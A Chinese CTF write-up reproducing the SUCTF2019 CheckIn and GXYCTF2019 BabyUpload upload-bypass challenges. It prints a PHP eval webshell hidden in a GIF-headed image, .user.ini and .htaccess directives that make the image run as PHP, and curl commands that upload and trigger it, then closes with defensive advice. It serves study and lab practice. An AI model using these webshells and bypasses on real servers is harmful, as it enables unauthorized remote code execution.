[SUCTF2019 & GXYCTF2019] 文件上传绕过实战:图片马 + .user.ini / .htaccess 构造 PHP 后门

摘要

本文整合两道经典上传绕过题(SUCTF2019 CheckIn1、GXYCTF2019 BabyUpload1)的思路与复现:通过文件头伪装与图片马隐藏 PHP 代码,配合目录级配置文件(.user.ini 或 .htaccess)将图片当作 PHP 自动包含或强制解析,从而实现远程命令执行(RCE)。文中给出实验步骤、PoC 命令与防御建议,供安全学习和靶场复现使用(仅限授权范围)。

目录

  1. 背景与目标
  2. 关键原理解析
  3. 环境准备
  4. 攻击复现(两种路径)
    • 路径 A:.user.ini + 图片马(SUCTF CheckIn1)
    • 路径 B:.htaccess + 图片木马(GXYCTF BabyUpload1)
  5. PoC 命令与示例代码
  6. 防御与修复建议
  7. 总结与扩展

1. 背景与目标

文件上传是 Web 常见功能,也是大量漏洞来源。常见防护包括后缀白名单、Content-Type 校验、exif_imagetype() 等基于文件头的检测。两道题都考察如何在严格过滤下把一句话木马/后门放进服务器并执行,常见链路为:上传图片马(polyglot)+ 利用目录级配置文件(.user.ini 或 .htaccess)使其被包含或当作 PHP 解析 → 获取 WebShell → 读取 flag。


2. 关键原理解析

  • 文件头伪装:exif_imagetype() 等函数只看文件开头签名(magic bytes),可在 PHP 代码前加合法图片签名(例如 GIF89a)以通过检测。
  • 图片马(Polyglot):在合法图片末尾追加 PHP 代码,文件仍能被识别为图片,但被包含/解析时 PHP 会执行其中代码。
  • 目录级配置:
    • .user.ini(PHP-FPM/CGI):可设置 auto_prepend_file/auto_append_file,使指定文件在目录内的 PHP 执行前后被自动包含。需要 PHP 启用 user_ini.filename。
    • .htaccess(Apache):可用 AddType/SetHandler/ForceType 等指令把特定扩展名强制当作 PHP 解析。需 AllowOverride 允许相关指令。
  • 生效条件:.user.ini 仅在 CGI/FastCGI/Php-FPM 且用户级 ini 启用时生效;.htaccess 依赖 Apache 配置。上传目录权限与服务器配置会影响成功率。

3. 环境准备

  • 靶机:建议 Docker 搭建(nginx+php-fpm 或 Apache+php)。
  • 可上传的 Web 应用(带上传限制)。
  • 工具:curl、Burp Suite(抓包修改 Content-Type)、Python(生成图片马)、AntSword/Behinder(连接 webshell,可选)。
  • 示例一句话木马(仅用于授权测试):<?php @eval($_POST['cmd']); ?>

4. 攻击复现

路径 A:.user.ini + 图片马(SUCTF CheckIn1)

思路:上传一个带图片头的文件(前缀为图片签名),在末尾追加一句话木马;再上传 .user.ini 指向该文件(auto_prepend_file / auto_append_file),当访问目录下 PHP 文件时会包含并执行木马。

步骤:

  1. 生成图片马(示例命令):
    printf 'GIF89a' > mal.gif
    printf '<?php @eval($_POST["cmd"]); ?>' >> mal.gif
  2. 上传 mal.gif 到目标上传目录(通过页面或绕过检测)。
  3. 创建 .user.ini 内容示例并上传到同一目录:
    auto_prepend_file = "mal.gif"
    (或 auto_append_file,根据场景选择)
  4. 访问目录下任意 PHP 文件并通过 POST 发送 cmd 参数触发执行:
    curl -d "cmd=system('id');" http://target/vuln.php

注意事项:.user.ini 的生效可能有缓存(user_ini.cache_ttl),并非立刻生效;且目标需启用 user_ini.filename。


路径 B:.htaccess + 图片木马(GXYCTF BabyUpload1)

思路:上传 .htaccess 将 .jpg/.png 强制当作 PHP 解析(AddType/SetHandler/ForceType),再上传图片木马(shell.jpg),访问该图片触发执行。

步骤:

  1. 准备图片木马(shell.jpg),方式同上(在图片末尾追加 PHP 代码)。
  2. 准备 .htaccess 示例(Apache 环境):
    AddType application/x-httpd-php .jpg

    <FilesMatch ".(jpg|png)$">
    SetHandler application/x-httpd-php
  3. 上传 .htaccess 与 shell.jpg(上传时可用 Burp 修改 Content-Type 为 image/jpeg 以绕过检测)。
  4. 访问 shell.jpg,如果生效则执行 PHP 代码:curl -d "cmd=phpinfo()" http://target/uploads/shell.jpg

注意事项:部分服务器禁止上传 .htaccess 或 Ignore .htaccess;上传 Content-Type 常被检测,需根据题目环境调整。


5. PoC 命令与示例代码

  • 生成图片马(Linux):
    printf 'GIF89a' > mal.gif
    printf '<?php @eval($_POST["cmd"]); ?>' >> mal.gif
  • 上传文件(示例):
    curl -F "file=@mal.gif;type=image/gif" http://target/upload.php
  • 触发执行(示例):
    curl -d "cmd=phpinfo()" http://target/vuln.php
  • .user.ini 示例内容:
    auto_prepend_file = "mal.gif"
  • .htaccess 示例内容:
    AddType application/x-httpd-php .jpg

(在发布时请配合截图展示上传成功后的文件列表、.user.ini/.htaccess 内容与触发命令的响应截图)


6. 防御与修复建议

  • 不仅检查扩展名或 Content-Type,且不要单靠 exif_imagetype();使用更严格的文件解析库或对图片进行重新编码(重采样/重新生成)以去除尾部杂质。
  • 将上传目录设为不可执行(禁用 PHP 解析);通过服务器配置(nginx location /uploads { try_files $uri =404; } 或 Apache 配置)禁止执行脚本。
  • 关闭或限制目录级配置:在生产环境中可将 user_ini.filename 设为空以禁用 .user.ini,或禁止写入 .htaccess/.user.ini。
  • 对上传的文件统一重命名、存储到隔离目录并设置最小权限。
  • 增加监控:检测新增 .user.ini/.htaccess 与异常文件尾部数据、文件内容扫描等。
  • 对重要函数(eval/system/exec/passthru)进行安全策略或禁用(需谨慎评估影响)。
相关推荐
Railshiqian9 分钟前
给android源码下的模拟器添加两个后排屏的修改
android·开发语言·javascript
ZeroNews内网穿透29 分钟前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全
雪人不是菜鸡1 小时前
简单工厂模式
开发语言·算法·c#
铸人1 小时前
大数分解的Shor算法-C#
开发语言·算法·c#
yyjtx1 小时前
DHU上机打卡D31
开发语言·c++·算法
rit84324991 小时前
全变分正则化图像去噪的MATLAB实现
开发语言·matlab
勇往直前plus1 小时前
python格式化字符串
开发语言·前端·python
恋猫de小郭1 小时前
Flutter 的真正价值是什么?深度解析再结合鸿蒙,告诉你 Flutter 的真正优势
android·前端·flutter
未来之窗软件服务1 小时前
AI人工智能(二十四)错误示范ASR张量错误C#—东方仙盟练气期
开发语言·人工智能·c#·仙盟创梦ide·东方仙盟
大黄说说1 小时前
不是进阶阶梯,而是协作维度:重新理解 Claude Code 中的 Commands、Skills 与 Agents
开发语言